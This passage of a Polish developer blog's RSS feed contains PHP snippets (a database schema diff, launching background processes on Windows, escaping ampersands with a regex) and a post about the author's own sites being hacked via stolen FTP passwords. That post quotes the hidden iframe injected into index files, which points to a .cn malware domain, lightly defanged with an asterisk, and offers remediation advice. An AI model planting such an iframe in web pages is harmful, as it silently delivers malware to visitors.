	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defA</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$colDefA</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;span class='deleted'&gt;deleted &lt;/span&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;drop column `&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;`&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span><span style="color: #000088;">$colDefA</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
				<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraA</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$colDefA</span><span style="color: #339933;">;</span>
				<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$info</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$typeB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;different type <span style="color: #006699; font-weight: bold;">$typeA</span>/<span style="color: #006699; font-weight: bold;">$typeB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$nullA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$nullB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;null <span style="color: #006699; font-weight: bold;">$nullA</span>/<span style="color: #006699; font-weight: bold;">$nullB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$keyA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$keyB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;key: <span style="color: #006699; font-weight: bold;">$keyA</span>/<span style="color: #006699; font-weight: bold;">$keyB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defaultA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$defaultB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;default: <span style="color: #006699; font-weight: bold;">$defaultA</span>/<span style="color: #006699; font-weight: bold;">$defaultB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$extraA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;extra: <span style="color: #006699; font-weight: bold;">$extraA</span>/<span style="color: #006699; font-weight: bold;">$extraB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span><span style="color: #339933;">,</span><span style="color: #0000ff;">', '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>	<span style="color: #0000ff;">&quot;change `<span style="color: #006699; font-weight: bold;">$col</span>` `<span style="color: #006699; font-weight: bold;">$col</span>` <span style="color: #006699; font-weight: bold;">$typeA</span> &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #009900;">&#40;</span><span style="color: #000088;">$defaultA</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">''</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;default '<span style="color: #006699; font-weight: bold;">$defaultA</span>' &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #009900;">&#40;</span><span style="color: #000088;">$nullA</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'NO'</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">'NOT NULL '</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$extraA</span> &quot;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #009900;">&#125;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$colB</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$colDefB</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$colDefB</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$colB</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;span class='added'&gt;added&lt;/span&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$colB</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;add `<span style="color: #006699; font-weight: bold;">$colB</span>` <span style="color: #006699; font-weight: bold;">$typeB</span> &quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> errors<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #990000;">mysql_errno</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;: &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #339933;">&lt;/</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>html<span style="color: #339933;">&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>puścić coś w tle</title>
		<link>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/</link>
		<comments>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 10:26:26 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[flex]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[background]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[monitorowanie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[skrypt]]></category>
		<category><![CDATA[start]]></category>
		<category><![CDATA[tle]]></category>
		<category><![CDATA[tło]]></category>
		<category><![CDATA[uruchomić]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=260</guid>
		<description><![CDATA[Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem. costam &#038; uruchamia proces w tle, potem fajnie mogę sobie zarządzać jobs . Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez exec [...]]]></description>
			<content:encoded><![CDATA[<p>Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem.
<pre>costam &#038;</pre>
<p> uruchamia proces w tle, potem fajnie mogę sobie zarządzać
<pre>jobs</pre>
<p>. Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez <i>exec</i> działa, ale czeka na zakończenie, a nie o to chodzi. Proces ma działać długo, a ja tylko chcę monitorować jego stan, a nie zamulać Firefoksa.</p>
<pre>
exec("start /b c:/sciezka_do_php/php.exe C:/sciezka_do_skryptu_procesu/bgproces.php > test.txt");
</pre>
<p>Próbowałem też uruchomić jakiś batch (costam.bat), który z kolei miałby uruchomić skrypt PHP, ale to też nie zadziałało &#8211; cały czas przeglądarka czekała na zakończenie całego procesu. Rozwiązanie jest takie, że w PHP na Windows trzeba użyć klasy COM, czyli windowsowych mechanizmów OLE (Object Linking and Embedding). Wygląda to tak:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #666666; font-style: italic;">/*
 * skrypt do uruchomienia w tle skryptTla.php
 */</span>
<span style="color: #000088;">$fname</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'c:/log.html'</span><span style="color: #339933;">;</span> 
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;br/&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;hr /&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #009933; font-style: italic;">/**
 * skrypt widziany przez przeglądarkę
 */</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;uruchamiam &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PWD'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
  	<span style="color: #666666; font-style: italic;">// $cmd = '....';</span>
    <span style="color: #000088;">$nullResult</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;php <span style="color: #006699; font-weight: bold;">$cmd</span> &gt; /dev/null &amp;&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$cmd</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'sciezka_do_php/php.exe sciezkaSkryptuDoUruchomieniaWTle/skryptTla.php'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$ws</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> COM<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;WScript.Shell&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$oExec</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ws</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; koniec &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; OK &quot;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jak sprytnie zamienić &amp; na &amp; amp;?</title>
		<link>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/</link>
		<comments>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 14:39:23 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[& & znaczek and]]></category>
		<category><![CDATA[ampersand]]></category>
		<category><![CDATA[entities]]></category>
		<category><![CDATA[entycje]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[kodowanie]]></category>
		<category><![CDATA[preg_replace]]></category>
		<category><![CDATA[programowanie]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[wyrażenia regularne]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=237</guid>
		<description><![CDATA[Zdarza się, że w tekstach jakie przygotowujemy do wyświetlania na stronach WWW część tzw. entycji jest już zakodowana poprawnie, a część nie. Mnie zdarzyło się tak ze znaczkiem &#38;, który normalnie powinien w XMLu i XHTMLu być kodowany jako &#38;amp; Niektóre ampersandy były zakodowane, ale większość pozostała w formie &#8220;wizualnej&#8221;, czyli jednego znaku. Parser XMLa [...]]]></description>
			<content:encoded><![CDATA[<p>Zdarza się, że w tekstach jakie przygotowujemy do wyświetlania na stronach WWW część tzw. entycji jest już zakodowana poprawnie, a część nie. Mnie zdarzyło się tak ze znaczkiem &amp;, który normalnie powinien w XMLu i XHTMLu być kodowany jako &amp;amp; Niektóre ampersandy były zakodowane, ale większość pozostała w formie &#8220;wizualnej&#8221;, czyli jednego znaku. Parser XMLa tego nie lubi. Ja nie lubię dłubania. Lubię za to wyrażenia regularne, więc takim oto krótkim poleceniem zamieniam wszystkie nieprawidłowo zakodowane &#8216;&amp;&#8217; na prawidłowe &#8216;&amp;amp;&#8217;, pozostawiając bez zmian te dobrze zapisane:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$tekst</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/&amp;(?!amp;)/'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&amp;amp;'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tekst</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>W wyrażeniu regularnym użyłem <em>przewidywania</em> czyli poprosiłem o takie pasujące fragmenty, po których nie następuje ciąg &#8220;amp;&#8221;. Proste.</p>
<p><em>Przy okazji okazało się, że wordpress ma problem z zapisaniem &amp;amp; w tytule posta&#8230; :)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nikita Chickita</title>
		<link>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 20:29:36 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[moda]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[chickita]]></category>
		<category><![CDATA[ciuchy]]></category>
		<category><![CDATA[ciuchy dla dziewczyn]]></category>
		<category><![CDATA[dziewczyn]]></category>
		<category><![CDATA[electric]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[les ettes]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[nastolatki]]></category>
		<category><![CDATA[nikita]]></category>
		<category><![CDATA[nixon]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[praca]]></category>
		<category><![CDATA[rusty]]></category>
		<category><![CDATA[sprzedaż]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[vans]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</guid>
		<description><![CDATA[A także Electric, Etnies, Les Ettes, Nixon, Rusty, Sheroll, Vans, Vestal i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i [...]]]></description>
			<content:encoded><![CDATA[<p>A także <a href="http://chickitashop.com/electric-m-7.html">Electric</a>, <a href="http://chickitashop.com/etnies-m-9.html">Etnies</a>, <a href="http://chickitashop.com/les-ettes-m-6.html">Les Ettes</a>, <a href="http://chickitashop.com/nixon-m-5.html">Nixon</a>, <a href="http://chickitashop.com/rusty-m-12.html">Rusty</a>, <a href="http://chickitashop.com/sheroll-m-3.html">Sheroll</a>, <a href="http://chickitashop.com/vans-m-2.html">Vans</a>, <a href="http://chickitashop.com/vestal-m-11.html">Vestal</a> i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i poobserwować &mdash; całkiem imponujący &mdash; ruch na stronie. </p>
<p>W tej chwili sklep bazuje na opensourcowym oscGold, czyli polskiej adaptacji osCommerce. Jednak pomimo że to ogromny projekt i faktycznie pozwala dość prostymi środkami uruchomić i prowadzić sprzedaż, to czytelność kodu i jego styl przypominają mi własne produkty&#8230; sprzed pięciu lat. Domyślam się, że refaktoryzacja tak dużego przedsięwzięcia to niełatwa rzecz i pewnie dlatego pełno tu stałych i zmiennych globalnych, dziesiątek &#8216;includowanych&#8217; plików, mieszania layoutu i logiki. Kusi, żeby zrobić wszystko od nowa&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iframe hack, czyli włamanie na FTP</title>
		<link>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/#comments</comments>
		<pubDate>Mon, 04 May 2009 08:45:09 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[.cn]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[doklejanie kodu]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hasło]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[lotante]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[wirus]]></category>
		<category><![CDATA[wklejanie kodu]]></category>
		<category><![CDATA[włamanie]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zagrożenie]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=176</guid>
		<description><![CDATA[Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja [...]]]></description>
			<content:encoded><![CDATA[<p>Amerykańska armia testuje <a href="http://www.wired.com/dangerroom/2009/04/army-tests-new/">automatycznych żołnierzy</a>, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie. </p>
<p>Również niniejsza strona i nasza główna &mdash; ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na &#8216;index&#8217; pojawił się taki kawałek (dodałem gwiazdkę przed http):</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=&quot;*http://lotante.cn/in.cgi?income38&quot;
width=1 height=1 style=&quot;visibility: hidden&quot;&gt;&lt;/iframe&gt;</pre></div></div>

<p>Konkretny adres bywa różny, <a href="http://blog.unmaskparasites.com/2009/04/15/malicious-income-iframes-from-cn-domains/">lista podejrzanych domen jest spora</a>. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem <a href="https://addons.mozilla.org/pl/firefox/addon/722">NoScript</a>). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. <a href="http://totalcmd.pl/download/app/new/Total_Commander_7.50_Public_Beta_2">Total Commander w najnowszej wersji </a>(7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.</p>
